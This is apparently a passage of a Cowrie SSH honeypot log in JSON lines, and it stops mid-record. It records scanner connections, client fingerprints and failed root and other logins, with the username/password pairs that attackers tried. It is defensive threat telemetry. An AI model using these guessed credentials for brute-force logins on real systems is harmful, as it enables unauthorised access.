{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":37456,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b648530b38e","protocol":"ssh","message":"New connection: 45.137.172.116:37456 (10.17.0.5:22) [session: 7b648530b38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:31.854809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:31.859578Z","src_ip":"45.137.172.116","session":"7b648530b38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:31.955889Z","src_ip":"45.137.172.116","session":"7b648530b38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0Rd","message":"login attempt [root/p@ssw0Rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:32.371398Z","src_ip":"45.137.172.116","session":"7b648530b38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:33.469056Z","src_ip":"45.137.172.116","session":"7b648530b38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":55858,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d541bf1c905","protocol":"ssh","message":"New connection: 80.94.92.171:55858 (159.203.135.109:22) [session: 3d541bf1c905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:36.636893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:36.958953Z","src_ip":"80.94.92.171","session":"3d541bf1c905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:36.962619Z","src_ip":"80.94.92.171","session":"3d541bf1c905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:38.431327Z","src_ip":"80.94.92.171","session":"3d541bf1c905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:40.035406Z","src_ip":"80.94.92.171","session":"3d541bf1c905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":56594,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0055f7bd9df","protocol":"ssh","message":"New connection: 103.118.29.129:56594 (10.17.0.5:22) [session: c0055f7bd9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:03.284676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:03.289998Z","src_ip":"103.118.29.129","session":"c0055f7bd9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:03.532184Z","src_ip":"103.118.29.129","session":"c0055f7bd9df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud#123","message":"login attempt [root/Cloud#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:04.525037Z","src_ip":"103.118.29.129","session":"c0055f7bd9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:05.766947Z","src_ip":"103.118.29.129","session":"c0055f7bd9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":60982,"dst_ip":"10.17.0.5","dst_port":22,"session":"989e8a9968b4","protocol":"ssh","message":"New connection: 69.48.205.231:60982 (10.17.0.5:22) [session: 989e8a9968b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:23.613791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:23.618194Z","src_ip":"69.48.205.231","session":"989e8a9968b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:23.662411Z","src_ip":"69.48.205.231","session":"989e8a9968b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123123","message":"login attempt [root/Asd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:23.858562Z","src_ip":"69.48.205.231","session":"989e8a9968b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:24.903836Z","src_ip":"69.48.205.231","session":"989e8a9968b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":40316,"dst_ip":"10.17.0.5","dst_port":22,"session":"83cda90a0f9d","protocol":"ssh","message":"New connection: 202.51.214.99:40316 (10.17.0.5:22) [session: 83cda90a0f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:26.799352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:26.803402Z","src_ip":"202.51.214.99","session":"83cda90a0f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:27.042043Z","src_ip":"202.51.214.99","session":"83cda90a0f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwww1234","message":"login attempt [root/wwww1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:28.027457Z","src_ip":"202.51.214.99","session":"83cda90a0f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:29.268407Z","src_ip":"202.51.214.99","session":"83cda90a0f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":43594,"dst_ip":"10.17.0.5","dst_port":22,"session":"226099c08426","protocol":"ssh","message":"New connection: 45.137.172.116:43594 (10.17.0.5:22) [session: 226099c08426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:42.091970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:42.095924Z","src_ip":"45.137.172.116","session":"226099c08426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:42.195536Z","src_ip":"45.137.172.116","session":"226099c08426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"actions","password":"actions","message":"login attempt [actions/actions] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:42.614966Z","src_ip":"45.137.172.116","session":"226099c08426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:21:43.716236Z","src_ip":"45.137.172.116","session":"226099c08426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38092,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e8263e631b5","protocol":"ssh","message":"New connection: 194.59.206.2:38092 (159.203.135.109:22) [session: 8e8263e631b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:18.080480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:18.086969Z","src_ip":"194.59.206.2","session":"8e8263e631b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:18.169415Z","src_ip":"194.59.206.2","session":"8e8263e631b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:18.287969Z","src_ip":"194.59.206.2","session":"8e8263e631b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":53606,"dst_ip":"10.17.0.5","dst_port":22,"session":"fed2bf5140a7","protocol":"ssh","message":"New connection: 103.118.29.129:53606 (10.17.0.5:22) [session: fed2bf5140a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:30.546682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:30.551460Z","src_ip":"103.118.29.129","session":"fed2bf5140a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:30.795243Z","src_ip":"103.118.29.129","session":"fed2bf5140a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shrvn6xd","password":"KZ+1E0C~_qz+E2wt64ko","message":"login attempt [shrvn6xd/KZ+1E0C~_qz+E2wt64ko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:31.779841Z","src_ip":"103.118.29.129","session":"fed2bf5140a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:33.019523Z","src_ip":"103.118.29.129","session":"fed2bf5140a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16666,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be62b30a787","protocol":"ssh","message":"New connection: 87.251.64.176:16666 (10.17.0.5:22) [session: 3be62b30a787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:37.445535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:37.450475Z","src_ip":"87.251.64.176","session":"3be62b30a787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-5